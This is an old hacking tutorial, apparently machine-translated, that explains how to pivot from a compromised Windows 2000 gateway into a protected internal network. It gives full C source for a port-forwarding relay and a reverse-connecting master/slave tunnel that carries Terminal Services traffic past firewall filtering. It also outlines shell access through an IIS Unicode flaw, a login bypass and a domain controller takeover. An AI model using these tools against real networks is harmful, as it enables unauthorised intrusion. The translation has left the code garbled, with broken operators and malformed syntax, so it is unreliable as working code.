Create time: 2001-04-23
Article properties: reprint
Article Source:
Www.patching.net
Article submission:
Xundi (xundi_at_xfocus.org)
Author: eyas
Now many companies or companies basically online ways are basically applied to connect to the Internet, broadband, DDN, ADSL, ISDN, etc., then use a server to do a gateway, two network cards, one block is connected to the Internet, another A piece is a HUB or switch connected to the intranet, then other machines of the intranet can be connected to the Internet via the gateway.
Maybe some people will think so, I am in the intranet, there is no direct connection between us, you have no way to attack me. This is not the case, and in the internal network, the machine can also suffer from the Internet attack, of course, the attacker has obtained some permissions of the gateway server, huh, this is not nonsense? In fact, many servers who do the gateway on the Internet have not been strict security configuration. It is not as difficult as possible.
OK! If you have nonsense, you will not say it, cut into the topic. Our goal is to connect to the Termserver machine of the enemy's intranet with our TermClient [M $ Terminal Service Client]. M $ end service is a good remote management tool, isn't it? Ha ha. Did not do special instructions, the server OS mentioned in the article is Windows 2000. The server is Linux or other words, the principle is similar, and the program is slightly modified.
<< Part 1: Use TCP Socket data forwarding into internal networks without firewall protection >>
Assume that the enemy network topology is shown below, no firewall is installed or TCP / IP restrictions on the gateway server.
[img] www.xfocus.org/other/bcjs/yc7.ht1.jpg [/ IMG]
Our goal is to connect to the enemy's intranet [192.168.1.3], because there is no way to connect directly to him, then only start from its gateway server. If the enemy gateway server is a Windows 2K, IIS has Unicode vulnerability [now you have to find a vulnerability machine is too easy, but I just use the Spripts Kid, which only uses ready-made vulnerabilities to do some simple attacks: (555), Then we get the shell of a gateway, we can run our programs above, although the permissions are very low, but they can do a lot. OK! Let's write a small program for TCP Socket data forwarding, let the enemy's gateway server is faithful to forward data between me [202.1.1] and enemy's Termserver [192.168.1.3]. Exterior: The actual intrusion process is to get the authority of the gateway server first, then use him to make a springboard, further find out its internal network topology, then further invasion, now the enemy's network topology is designed to him, haha.
The attack process is as follows:
<1> Run our program AgentGateway in gateway server 202.2.2.2, he listens to TCP 3389 port [change to other, then we have to modify TermClient] Wait for us to connect.
<2> We 202.1.1.1 Use TermClient to 202.2.2.2:3389.
<3> 202.2.2.2. Accept 202.1.1.1 Connection, then build a TCP Socket connected to Termserver [192.168.1.3]
<4> This is built between the data channel between the Termserver between the enemy's internal network, and then forwards the data for us. When we connect to 202.2.2.2:3389, the actual interface is 192.168.1.3 of the enemy's intranet. How is it? :) The program code is as follows:
/ ************************************************** ********************
Module Name: agentgateway.c
Date: 2001/4/15
Copyright (c) Eyas
Description: Port Redirection Tools, run on the gateway, redirect the port to the intranet IP, Port,
You can enter the intranet.
SOCK [0] ==> SCLIENT SOCK [1] ==> starget
*********************************************************** ******************* /
#include
#include
#include "tcpdataredird.c"
#define Targetip text ("192.168.1.3")
#define targetport (int) 3389
#define Listenport (Int) 3389 // Listening Port
#pragma comment (Lib, "WS2_32.LIB")
int main ()
{
WSADATA WSD;
Socket slisten = invalid_socket, // native listener SOCKET
SOCK [2];
Struct sockaddr_in local, client, target;
INT Iaddrsize;
Handle hthreadc2t = null, // C2t = ClientTotarget
HThreadt2c = null; // t2c = targettoclient
DWORD DWTHREADID;
__TRY
{
IF (WsaStartup (MakeWord (2, 2), & WSD)! = 0)
{
Printf ("/ nwsastartup () Failed:% D", getLastError ());
__leave;
}
SListen = Socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
IF (slisten == invalid_socket)
{
Printf ("/ nsocket () failed:% d", getLastError ());
__leave;
}
Local.sin_addr.s_addr = htonl (INADDR_Any);
Local.sin_family = af_INet;
Local.sin_port = htons (listenport);
Target.sin_family = AF_INET;
Target.sin_addr.s_addr = inet_addr (targetip);
Target.sin_port = htons (targetport);
IF (Bind (SLISTEN, STRUCT SOCKADDR *) & local, sizeof (local)) == Socket_ERROR)
{
Printf ("/ Nbind () Failed:% D", getLastError ());
__leave;
}
IF (Listen, 1) == Socket_ERROR) {
Printf ("/ nlisten () failed:% D", getLastError ());
__leave;
}
// Scoket loop
While (1)
{
Printf ("/ n / n *********************** / n / n");
Iaddrsize = Sizeof (client);
// Get Socket Sclient
SOCK [0] = Accept (slusten, (strunt sockaddr *) & client, & ingdrsize);
IF (SOCK [0] == Invalid_socket)
{
Printf ("/ NACCEPT () FAILED:% D", getLastError ());
Break;
}
Printf ("/ NACCEPT Client ==>% S:% D", INET_NTOA (Client.sin_ADDR),
NTOHS (Client.sin_Port);
// Create Socket Starget
SOCK [1] = Socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
IF (SOCK [1] == Invalid_socket)
{
Printf ("/ nsocket () failed:% d", getLastError ());
__leave;
}
// Connect to Target Port
IF (Connect (Sock [1], (Struct Sockaddr *) & Target, SIZEOF (Target)) == Socket_ERROR)
{
Printf ("/ nConnect () FAILED:% D", getLastError ());
__leave;
}
Printf ("/ NConnect to Target 3389 Success!");
// Create two threads for data forwarding
Hthreadc2t = Createthread (NULL, 0, TCPDATAC2T, (LPVOID) SOCK, 0, & DWTHREADID;
Hthreadt2c = CreateThread (NULL, 0, TCPDATAT2C, (LPVOID) SOCK, 0, & DWTHREADID;
// Waiting for two threads to end
WaitforsingleObject (hthreadc2t, infinite);
WaitforsingleObject (HTHREADT2C, Infinite);
CloseHandle (HTHREADC2T);
CloseHandle (HTHREADT2C);
CloseSocket (SOCK [1]);
CloseSocket (SOCK [0]);
Printf ("/ n / n *************************************** / N / N" );
} // end of sock external loop
} // end of try
__finally
{
IF (slisten! = invalid_socket) CloseSocket (SLISTEN);
IF (SOCK [0]! = INVALID_SOCKET) CloseSocket (SOCK [0]);
IF (SOCK [1]! = invalid_socket) CloseSocket (SOCK [1]);
IF (hthreadc2t! = null) CloseHandle (HTHREADC2T);
IF (hthreadt2c! = null) CloseHandle (HTHREADT2C); wsacleanup ();
}
Return 0;
}
/ ************************************************** ***********************
Module: tcpdataredird.c
Date: 2001/4/16
CopyRight (c) Eyas
Homepage:
Www.patching.net
Thanks to shotgun
Description: TCP Socket Data Forward, SOCK [0] ==> SCLIENT SOCK [1] ==> Starget
*********************************************************** ********************** /
#define buffsize 20 * 1024 // Buffer size 20k
// This function is responsible for reading data from the client, then forward to target
DWORD WINAPI TCPDATAC2T (Socket * Sock)
{
INT IRET,
Ret = -1, // select return value
Ileft,
IDX,
ISTTBCS = 0; // sttbcs = sendtotargetBuffCurrentsize
Char szsendtotargetBuff [buffsize] = {0},
SzrecvfromclientBuff [buffsize] = {0};
FD_SET FDREAD, FDWRITE;
Printf ("/ n / n ************************************** / N / N" );
While (1)
{
FD_ZERO (& FDREAD);
FD_ZERO (& fdwrite);
FD_SET (SOCK [0], & fdread);
FD_SET (SOCK [1], & fdwrite;
IF ((Ret = SELECT (0, & fdread, & fdwrite, null, null) == Socket_ERROR)
{
Printf ("/ NSELECT () FAILED:% D", getLastError ());
Break;
}
// Printf ("/ nselect () return value return =% D", RET);
IF (RET> 0)
{
// SCLINET readable, client has data to be sent
IF (fd_isset (SOCK [0], & fdread))
{
/ / Receive data sent by SOCK [0]
IRet = Recv (Sock [0], SzrecvfromClientBuff, Buffsize, 0);
IF (IRet == Socket_ERROR)
{
Printf ("/ NRECV () from Sock [0] FAILED:% D", getLastError ());
Break;
}
ELSE IF (IRet == 0)
Break;
Printf ("/ NRECV% D Bytes from SCLINET.", IRET);
// Add the data received from the Client to the buffer sent to Target
Memcpy (SzsendtotargetBuff Isttbcs, SzrecvfromClientBuff, IRET);
// Refresh the current BUFF size of the data buffer to Target
ISTTBCS = IRET;
/ / Clear a buffer that receives Client data
MEMSET (SzrecvfromClientBuff, 0, Buffsize);
// starget can be written, send data received from the client to the Target
IF (FD_Isset (SOCK [1], & fdWrite))
{
/ / Forward data to Target's 3389 port
Ileft = isttbcs;
IDX = 0;
While (Ileft> 0)
{
IRET = Send (SOCK [1], & SzsendtotargetBuff [IDX], Ileft, 0);
IF (IRet == Socket_ERROR)
{
Printf ("/ Nsend () to TARGET FAILED:% D", getLastError ());
Break;
}
Printf ("/ NSEND% D Bytes to Target", IRET);
ileft- = IRET;
IDX = IRET;
}
/ / Clear buffer
MEMSET (SzsendtotargetBuff, 0, Buffsize);
/ / Reset the current BUFF size of the data buffer sent to Target
ISTTBCS = 0;
}
} // End of SELECT RET
Sleep (1);
} // end of data send & recircon
Return 0;
}
// This function is responsible for reading data from Target, and then send it to the client.
DWORD WINAPI TCPDATATATAT2C (Socket * SOCK)
{
INT IRET,
Ret = -1, // select return value
Ileft,
IDX,
ISTCBCS = 0; // stcbcs = sendtoClientBuffCurrentsize
Char szrecvfromtargetbuff [buffsize] = {0},
SzsendToclientBuff [buffsize] = {0};
FD_SET FDREAD, FDWRITE;
While (1)
{
FD_ZERO (& FDREAD);
FD_ZERO (& fdwrite);
FD_SET (SOCK [0], & fdwrite;
FD_SET (SOCK [1], & fdRead;
IF ((Ret = SELECT (0, & fdread, & fdwrite, null, null) == Socket_ERROR)
{
Printf ("/ NSELECT () FAILED:% D", getLastError ());
Break;
}
IF (RET> 0)
{
// Starget readable, receive data from Target
IF (fd_isset (SOCK [1], & fdread))
{
/ / Receive Target Returns Data
IRET = Recv (SOCK [1], SzrecvfromTargetBuff, Buffsize, 0);
IF (IRet == Socket_ERROR)
{
Printf ("/ NRECV () from target failed:% d", getLastError ());
Break;
}
ELSE IF (IRet == 0)
Break;
Printf ("/ NRECV% D Bytes from target", IRET);
/ / Add the data received from Target to a buffer sent to the client
Memcpy (SzsendToclientBuff ISTCBCS, SZRECVFROMTARGETBUFF, IRET);
/ / Clear Receive Target Returns Data Buffer
MEMSET (SzrecvfromTargetBuff, 0, Buffsize);
// Refresh the data buffer current size ISTCBCS = IRET;
}
// Client can write, send target to return data to client
IF (fd_isset (SOCK [0], & fdwrite))
{
// Send Target to return data to the client
Ileft = ISTCBCS;
IDX = 0;
While (Ileft> 0)
{
Iret = send (SOCK [0], & szsendtoclientBuff [idx], Ileft, 0);
IF (IRet == Socket_ERROR)
{
Printf ("/ Nsend () to Client Failed:% D", getLastError ());
Break;
}
Printf ("/ NSEND% D Bytes to Client", IRET);
ileft- = IRET;
IDX = IRET;
}
/ / Clear buffer
MEMSET (SzsendToclientBuff, 0, Buffsize);
ISTCBCS = 0;
}
} // End of SELECT RET
Sleep (1);
} // end of while
Return 0;
}
<< Part 2: Use TCP Socket forwarding and rebounding TCP port into internal network with firewall protection >>
In fact, many intranets don't have the first part. Let's take a look at a firewall-protected intranet. The premise is that this firewall does not limit the restrictions on the rebound TCP port, and is another matter. Suppose the network topology is as follows:
[img] www.xfocus.org/other/bcjs/yc8.ht1.jpg [/ IMG]
The above network topology is I encountered in the process of authorizing the invasion of friends' websites.
<1> I am in the company's intranet 192.168.0.2, through the company gateway 202.1.1.1 to the Internet, but I am admin :) of the gateway :).
<2> The gateway OS of the enemy [actually Friend] is 2K Adv Server, do TCP / IP restrictions on the outer network card, only open 25, 53, 80, 110, 3306 these TCP ports, through a vulnerability, I Got a shell, you can perform the system command through IE, although the permissions are low. The gateway has a terminal service, the login verification vulnerability patch is not installed, but the input method help file has been deleted, but we can use the shell to help file Upload, because his system permission is not set, we can write, huh, we can write. In this case, we can connect to his terminal to serve, we can bypass the login verification and get Admin rights. How to connect? There is a way to forward with TCP socket. Is the same as the first part? slightly different. Because he did TCP / IP limit, we can't connect him, can only let him connect us, TCP rebounds, huh, huh.
The attack process is as follows:
<1> In my server 202.1.1.1 Run AgentMaster 嗵齌 CP Port 12345, waiting for 202.2.2.2 to connect, listen to TCP port 3389, wait for me 192.168.0.2 connection.
<2> Run Agentslave in enemy gateway machine 202.2.2.2, connected to 202.1.1.1 TCP Port 12345 [Note: It is a rebound port, TCP / IP filtering also takes him no way]
<3> I am 192.168.0.2 with TermClient to connect to their own server 202.1.1.1:3389 <4> Agentslave on the enemy gateway connection to IP ==> 192.168.1.1:3389
<5> The data channel is established. Two proxy faithfully forwards data, huh, huh. When we connect to your server 3389, in fact, it is a machine of the enemy's internal network, huh, huh.
Later, it was found that the enemy's main domain controller was 192.168.1.4, and the connection established in front with his gateway using a vulnerability easily acquired the main domain's admin privilege, huh. He may think that the main domain is in the inside network, the gateway has done TCP / IP filtration, and the attacker has no way to enter. Just set the agentlave to connect 192.168.1.4:3389, you can directly connect his primary domain controller, but the gateway is also logged in.
The program code is as follows [TCPDataredIrd.c used in the program has been posted in the first part, the file is data forwarding, universal]:
/ ************************************************** ****************************
Module Name: agentmaster.c
Date: 2001/4/16
Copyright (c) Eyas
Description: Scoket proxy main control, responsible for monitoring two TCP sockets, waiting for an attacker and Agentslave to connect, two
After SCOKET is successful, start forwarding data
SOCK [0] is client ==> SOCK [0] SOCK [1] is Target ==> SOCK [1]
*********************************************************** *************************** /
#include
#include
#include "tcpdataredird.c"
#pragma comment (Lib, "WS2_32.LIB")
#define targetport 3389 // Camouflage Target's listening port
#define localport 12345 // Waiting for Agentslave to CONNECT port
int main ()
{
WSADATA WSD;
Socket S3389 = INVALID_SOCKET, // The Socket listens on the machine, waiting for an attacker connection
S1981 = INVALID_SOCKET, / / SOCKET, waiting for Agentslave to connect
SOCK [2] = {INVALID_SOCKET, INVALID_SOCKET};
Struct sockaddr_in local3389, local1981, attack, slave
INT Iaddrsize;
Handle hthreadc2t = null, // C2t = ClientTotarget
HThreadt2c = null; // t2c = targettoclient
DWORD DWTHREADID;
__TRY
{
// load Winsock Library
IF (WsaStartup (MakeWord (2, 2), & WSD)! = 0)
{
Printf ("/ nwsastartup () Failed:% D", getLastError ());
__leave;
}
// Create Socket
S3389 = Socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
IF (S3389 == Invalid_socket) {
Printf ("/ nsocket () failed:% d", getLastError ());
__leave;
}
// Create Socket
S1981 = Socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
IF (S1981 == INVALID_SOCKET)
{
Printf ("/ nsocket () failed:% d", getLastError ());
__leave;
}
// Fill the Struct
Local3389.sin_addr.s_addr = HTONL (INADDR_Any);
Local3389.sin_family = AF_INET;
Local3389.sin_port = htons (targetport);
Local1981.sin_addr.s_addr = HTONL (INADDR_Any);
Local1981.sin_family = AF_INET;
Local1981.sin_port = htons (localport);
// Bind S3389 for Attacker
IF (Bind (Struct SockAddr *) & local3389, sizeof (local3389)) == Socket_ERROR)
{
Printf ("/ Nbind () Failed:% D", getLastError ());
__leave;
}
// listen for Attacker To Connect
IF (Listen (S3389, 1) == Socket_ERROR)
{
Printf ("/ nlisten () failed:% D", getLastError ());
__leave;
}
// bind S1981 for Agentslave
IF (Bind (Struct SockAddr *) & local1981, sizeof (local1981)) == Socket_ERROR)
{
Printf ("/ Nbind () Failed:% D", getLastError ());
__leave;
}
// listen for agentslave to connect
IF (Listen (S1981, 1) == Socket_ERROR)
{
Printf ("/ nlisten () failed:% D", getLastError ());
__leave;
}
// Socket loop
While (1)
{
// Wait for Agentslave to Connect
Iaddrsize = sizeof (slave);
SOCK [1] = Accept (S1981, Struct SockAddr *) & Slave, & Iaddrsize
IF (SOCK [1] == Invalid_socket)
{
Printf ("/ NACCEPT () FAILED:% D", getLastError ());
Break;
}
Printf ("/ NACcept Agentslave ==>% S:% D", INET_NTOA (SLAVE.SIN_ADDR),
NTOHS (SLAVE.SIN_PORT);
// Wait for Attacker To Connect
Iaddrsize = sizeof (attack);
SOCK [0] = Accept (S3389, Struct SockAddr *) & attck, & ipdrsize;
IF (SOCK [0] == Invalid_socket) {
Printf ("/ NACCEPT () FAILED:% D", getLastError ());
Break;
}
Printf ("/ NACCEPT Attacker ==>% S:% D", INET_NTOA (Attack.SIN_ADDR),
NTOHS (Attack.sin_Port);
// Create two threads for data forwarding
Hthreadc2t = Createthread (NULL, 0, TCPDATAC2T, (LPVOID) SOCK, 0, & DWTHREADID;
Hthreadt2c = CreateThread (NULL, 0, TCPDATAT2C, (LPVOID) SOCK, 0, & DWTHREADID;
// Waiting for two threads to end
WaitforsingleObject (hthreadc2t, infinite);
CloseHandle (HTHREADC2T);
CloseHandle (HTHREADT2C);
CloseSocket (SOCK [0]);
CloseSocket (SOCK [1]);
} // end of socket while
} // end of try
__finally
{
// Clean All
IF (S3389! = INVALID_SOCKET) CloseSocket (S3389);
IF (S1981! = INVALID_SOCKET) CloseSocket (S1981);
IF (SOCK [0]! = INVALID_SOCKET) CloseSocket (SOCK [0]);
IF (SOCK [1]! = invalid_socket) CloseSocket (SOCK [1]);
IF (hthreadc2t! = null) CloseHandle (HTHREADC2T);
IF (hthreadt2c! = null) CloseHandle (HTHREADT2C);
WSACLEANUP ();
}
Return 0;
}
/ ************************************************** ****************************************
Module: Agentslave.c
Date: 2001/4/17
Copyright (c) Eyas
Homepage:
Www.patching.net
Description: This program is responsible for connecting the final goal, connects the main control, and then forwarding data
Connecting to Agenrmaster's Socket is quite with SCLIENT ==> SOCK [0],
Socoket connected to the ultimate goal is starget ==> sock [1]
*********************************************************** ******************************* /
#include
#include
#include "tcpdataredird.c"
#pragma comment (Lib, "WS2_32.LIB")
#define targetip "192.168.1.3"
#define targetport (int) 3389
#define agentmasterip "202.1.1.1"
#define agentmasterport (int) 12345
int main ()
{
WSADATA WSD;
Socket Sock [2] = {INVALID_SOCKET, INVALID_SOCKET};
Struct sockaddr_in master, target; handle hthreadc2t = null, // C2t = ClientTotarget
HThreadt2c = null; // t2c = targettoclient
DWORD DWTHREADID;
__TRY
{
// load Winsock Library
IF (WsaStartup (MakeWord (2, 2), & WSD)! = 0)
{
Printf ("/ nwsastartup () Failed:% D", getLastError ());
__leave;
}
//cycle
While (1)
{
// CREATE Client Socket
SOCK [0] = Socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
IF (SOCK [0] == Invalid_socket)
{
Printf ("/ nsocket () failed:% d", getLastError ());
__leave;
}
// CREATE TARGET SOCKET
SOCK [1] = Socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
IF (SOCK [1] == Invalid_socket)
{
Printf ("/ nsocket () failed:% d", getLastError ());
__leave;
}
// Fill Struct
Target.sin_family = AF_INET;
Target.sin_addr.s_addr = inet_addr (targetip);
Target.sin_port = htons (targetport);
MASTER.SIN_FAMILY = AF_INET;
Master.sin_addr.s_addr = inet_addr (AgentMasterip);
Master.sin_port = HTons (AgentMasterport);
//connect to agentmaster
IF (Connect (Sock [0], (Struct SockAddr *) & Master, SIZEOF (MASTER)) == Socket_ERROR)
{
// After the connection failed, wait for a while
Printf ("/ nConnect () to master failed:% D", getLastError ());
CloseSocket (SOCK [0]);
CloseSocket (SOCK [1]);
Sleep (5000);
CONTINUE;
}
Printf ("/ NConnect TO% S% D Success!", AgentMasterip, AgentMasterport;
// connect to target
IF (Connect (Sock [1], (Struct Sockaddr *) & Target, SIZEOF (Target)) == Socket_ERROR)
{
Printf ("/ nConnect () to TARGET FAILED:% D", getLastError ());
__leave;
}
Printf ("/ NConnect TO% S% D Success!", Targetip, TargetPort);
// Create two threads for data forwarding
Hthreadc2t = Createthread (NULL, 0, TCPDATAC2T, (LPVOID) SOCK, 0, & DWTHREADID;
HThreadt2c = CreateThread (NULL, 0, TCPDATAT2C, (LPVOID) SOCK, 0, & DWTHREADID; // Waiting for two threads to end
WaitforsingleObject (hthreadc2t, infinite);
CloseHandle (HTHREADC2T);
CloseHandle (HTHREADT2C);
CloseSocket (SOCK [0]);
CloseSocket (SOCK [1]);
} // end of while
} // end of try
__finally
{
IF (SOCK [0]! = INVALID_SOCKET) CloseSocket (SOCK [0]);
IF (SOCK [1]! = invalid_socket) CloseSocket (SOCK [1]);
IF (hthreadc2t! = null) CloseHandle (HTHREADC2T);
IF (hthreadt2c! = null) CloseHandle (HTHREADT2C);
WSACLEANUP ();
}
Return 0;
}